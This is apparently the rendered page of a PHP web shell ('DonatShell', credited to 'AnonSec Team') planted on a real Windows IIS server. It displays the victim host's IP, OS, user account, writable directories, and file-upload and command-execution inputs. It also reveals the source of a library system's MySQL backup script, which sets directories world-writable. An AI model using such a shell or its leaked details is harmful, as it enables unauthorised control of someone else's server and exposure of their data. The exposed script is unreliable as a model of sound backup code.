DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.127
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/library.backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/library.backup/index.php
<?
;
set_time_limit (600);

include("../inc/config.inc.php");

$_REQPERM="mainmenu";
head();
mn_lib("backup");

$bktype=="light";
?>


<BR><BR><BR><BR>
	<TABLE width=650 align=center>
	<TR>
		<TD>
<?


sleep(1);

barcodeval_set("lastbackup-light-date",time());
filelogs("Operate Backup By library",thaidatestr(time()),"BACKUPLOG-$bktype");
$bkfilename="backup-$bktype.sql";
    flush();

    $path=$path . "../_output/";

    if (!is_dir($path))

        mkdir($path, 0777);

    chmod($path, 0777);

    if (file_exists($path . "$bkfilename"))

        {

		unlink($path . "$bkfilename");
        }



        $cur_time=date("Y-m-d H:i");

        $tables=mysql_list_tables($dbname, $conn);

        $num_tables=@tmq_num_rows($tables);

			$forceskipdb=getval("_SETTING","backup-forceskip");
			$forceskipdborig=$forceskipdb;
			$forceskipdb=explode("
",$forceskipdb);

			$stagdeloldtablewhenskip="NO";
			$skipdb=getval("_SETTING","backup-skip");
			$skipdborig=$skipdb;
			$skipdb=explode("
",$skipdb);

		//print_r($forceskipdb);
        $i=0;

        while ($i < $num_tables)
            {

			$newfile="";
            $table = mysql_tablename($tables, $i);

            $i++;

			echo "<IMG SRC='../neoimg/Green.gif' WIDTH='16' HEIGHT='16' BORDER='0' ALT='' align=absmiddle> Operating ... $table";
			if (in_array ($table,$skipdb) || in_array ($table,$forceskipdb)) {
				echo " <I style='color: #990000'>skip</I>.<BR>";
				$newfile.=get_def($dbname, $table, "$stagdeloldtablewhenskip");
				$newfile.="\n\n";
				fso_file_write($path . "$bkfilename","a",$newfile);
				continue;
			}
            $newfile.=get_def($dbname, $table);

            $newfile.="\n\n";

            $newfile.=get_content($dbname, $table);

            $newfile.="\n\n";

			fso_file_write($path . "$bkfilename","a",$newfile);
			echo " <I>done</I>.<BR>";
			}


?>

</TD>
	</TR>
	</TABLE>
    <CENTER>

        <BR>

        <BR>

        <TABLE WIDTH = "750">

            <TR>

                <TD>

                    <H1> :: <? echo getlang("การสำรองข้อมูลเสร็จเรียบร้อย::l::Backup complete"); ?></H1>

                    <BR> 
				<BLOCKQUOTE>
				<B><? echo getlang("หมายเหตุ :: ไฟล์ต่อไปนี้ถูกยกเว้นไม่ให้ได้รับการ Backup::l::Note :: following tables are skipped form backup"); ?></B><BR><BR><? 
$skipdb = array_merge($skipdb, $forceskipdb);
$skipdb = array_unique($skipdb);
foreach ($skipdb as $a) {
	echo "<nobr><IMG SRC='../neoimg/Seal.gif' WIDTH='16' HEIGHT='16' BORDER='0' ALT='' align=absmiddle> $a </nobr>";
}
?>

</BLOCKQUOTE>                </TD></TR></TABLE>

        <BR>

        <BR>

        <B><A HREF = "get.php" target = _blank><? echo getlang("ดาวน์โหลดไฟล์ข้อมูล::l::Download backup file"); ?></A></B> [<? echo getlang("คลิกขวาแล้วเลือก::l::Right-click then choose"); ?> Save Target As....]


        <BR>

        <BR>

<!--

phpMyBackup Copyright &copy; 2000-2001 by Holger Mauermann.<br>

MySQL PHP Helper Copyright &copy; 2002 by zMola Washer.<br><br>

-->

        <?

foot();        ?>

Anon7 - 2022
AnonSec Team